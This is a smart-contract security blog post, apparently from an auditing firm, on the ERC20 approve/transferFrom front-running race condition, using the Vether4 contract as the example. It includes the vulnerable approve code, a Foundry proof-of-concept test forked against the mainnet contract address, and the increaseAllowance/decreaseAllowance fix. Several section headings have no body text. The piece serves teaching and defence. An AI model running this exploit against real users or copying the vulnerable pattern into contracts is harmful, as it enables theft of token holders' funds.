Learn advanced techniques and secure smart contract practices to protect your ERC20 tokens from front-running, exploits, and unauthorized access.

What This Guide Covers on ERC20 Front-Running Attacks

Introduction

How ERC20 approve Vulnerabilities Enable Front-Running

1. How Front-Running Works on Ethereum and ERC20 Tokens

2. Example of a Vulnerable ERC20 approve Contract

1pragma solidity 0.6.4;
2//ERC20 Interface
3interface ERC20 {
4    [...]
5}
6interface VETH {
7    [...]
8}
9library SafeMath {
10    [...]
11}
12    //======================================VETHER=========================================//
13contract Vether4 is ERC20 {
14    using SafeMath for uint;
15    // ERC-20 Parameters
16    string public name; 
17    string public symbol;
18    uint public decimals; 
19    uint public override totalSupply;
20    // ERC-20 Mappings
21    mapping(address => uint) private _balances;
22    mapping(address => mapping(address => uint)) private _allowances;
23    // Rest of Parameters
24    [...]
25    //=====================================CREATION=========================================//
26    // Constructor
27    constructor() public {
28       [...]                                                        
29    }
30    function _setMappings() internal {
31        [...]
32    }
33
34    //========================================ERC20=========================================//
35    function balanceOf(address account) public view override returns (uint256) {
36        return _balances[account];
37    }
38    function allowance(address owner, address spender) public view virtual override returns (uint256) {
39        return _allowances[owner][spender];
40    }
41    // ERC20 Transfer function
42    function transfer(address to, uint value) public override returns (bool success) {
43        _transfer(msg.sender, to, value);
44        return true;
45    }
46    // ERC20 Approve function
47    function approve(address spender, uint value) public override returns (bool success) {
48        _allowances[msg.sender][spender] = value;
49        emit Approval(msg.sender, spender, value);
50        return true;
51    }
52    // ERC20 TransferFrom function
53    function transferFrom(address from, address to, uint value) public override returns (bool success) {
54        require(value <= _allowances[from][msg.sender], 'Must not send more than allowance');
55        _allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
56        _transfer(from, to, value);
57        return true;
58    }
59    // Internal transfer function which includes the Fee
60    function _transfer(address _from, address _to, uint _value) private {
61        require(_balances[_from] >= _value, 'Must not send more than balance');
62        require(_balances[_to] + _value >= _balances[_to], 'Balance overflow');
63        _balances[_from] =_balances[_from].sub(_value);
64        uint _fee = _getFee(_from, _to, _value);                                            // Get fee amount
65        _balances[_to] += (_value.sub(_fee));                                               // Add to receiver
66        _balances[address(this)] += _fee;                                                   // Add fee to self
67        totalFees += _fee;                                                                  // Track fees collected
68        emit Transfer(_from, _to, (_value.sub(_fee)));                                      // Transfer event
69        if (!mapAddress_Excluded[_from] && !mapAddress_Excluded[_to]) {
70            emit Transfer(_from, address(this), _fee);                                      // Fee Transfer event
71        }
72    }
73    // Calculate Fee amount
74    function _getFee(address _from, address _to, uint _value) private view returns (uint) {
75        if (mapAddress_Excluded[_from] || mapAddress_Excluded[_to]) {
76           return 0;                                                                        // No fee if excluded
77        } else {
78            return (_value / 1000);                                                         // Fee amount = 0.1%
79        }
80    }
81
82    //================================REST OF THE CONTRACT======================================//
83    [...]
84}

Specific Vulnerability Points in Vether4

approve and transferFrom Mechanism:

Lack of Checks in approve Function:

No Protection Against Double-Spending Allowance:

3. Foundry PoC: Simulating the Front-Running Attack

1. Alice approves an allowance of 5000 VETH to Bob.
2. Alice attempts to lower the allowance to 2500 VETH.
3. Bob notices the transaction in the mempool and front-runs it by using up the full allowance with a transferFrom call.
4. Alice's lowered allowance is confirmed and Bob now has an allowance of 2500 VETH, which can be spent further for a total of 7500 VETH.

1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Test, console} from "forge-std/Test.sol";
5
6interface IVether4 {
7    function transfer(address to, uint amount) external returns (bool);
8    function balanceOf(address account) external view returns (uint);
9    function approve(address spender, uint amount) external returns (bool);
10    function transferFrom(address from, address to, uint amount) external returns (bool);
11}
12
13contract AllowanceRaceConditionTest is Test {
14    IVether4 vether;
15
16    address constant vetherAddress = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279; // Mainnet address of Vether4
17
18    address alice = 0x273BA31C706b9D9FdAe1FD999183Bfa865895bE9;
19    address bob = 0x159e4E57eD13176A69693c987917651C552d2575;
20
21    function setUp() public {
22        vether = IVether4(vetherAddress);
23    }
24
25    function testAllowanceRaceCondition() public {
26        uint256 bobInitialBalance = vether.balanceOf(bob);
27        uint256 aliceInitialBalance = vether.balanceOf(alice);
28
29        console.log("Bob's initial balance: ", bobInitialBalance);
30        console.log("Alice's initial balance: ", aliceInitialBalance);
31
32        // Alice approves Bob to spend 5000 VETH
33        vm.prank(alice);
34        vether.approve(bob, 5000 ether); // Using 'ether' to convert to correct token units if necessary
35
36        // Bob tries to front-run Alice's next approval by transferring 5000 VETH to himself
37        vm.prank(bob);
38        vether.transferFrom(alice, bob, 5000 ether);
39
40        // Alice lowers the allowance to 2500 VETH
41        vm.prank(alice);
42        vether.approve(bob, 2500 ether);
43
44        // Bob attempts to transfer the newly approved 2500 VETH
45        vm.prank(bob);
46        bool txSuccess = vether.transferFrom(alice, bob, 2500 ether);
47
48        uint256 bobFinalBalance = vether.balanceOf(bob);
49        uint256 expectedBobBalance = bobInitialBalance + 7500 ether; // Sum of first and second transfer
50
51        assertEq(bobFinalBalance, expectedBobBalance, "Bob's final balance should reflect the transfers");
52        assertTrue(txSuccess, "Bob's second transfer should succeed within allowance");
53    }
54}

Contract Interface and Setup:

Test Functionality (testAllowanceRaceCondition):

• Alice first approves Bob to spend 5000 VETH.
• Bob, potentially acting maliciously or taking advantage of the timing, transfers 5000 VETH to himself before Alice can lower the allowance.
• Alice then lowers the allowance to 2500 VETH.
• Bob attempts to transfer again under the new allowance.

Security Implications:

Running the Test with Forge Test Fork

1forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/your-api-key

How to Prevent ERC20 Front-Running Vulnerabilities

1function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
2    _approve(msg.sender, spender, allowance(msg.sender, spender).add(addedValue));
3    return true;
4}
5
6function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
7    _approve(msg.sender, spender, allowance(msg.sender, spender).sub(subtractedValue, "ERC20: decreased allowance below zero"));
8    return true;
9}

Conclusion

About Zealynx Security

Connect with us:

• GitHub
• Twitter
• LinkedIn

• ERC20 Race Condition – Code4rena / Vader Protocol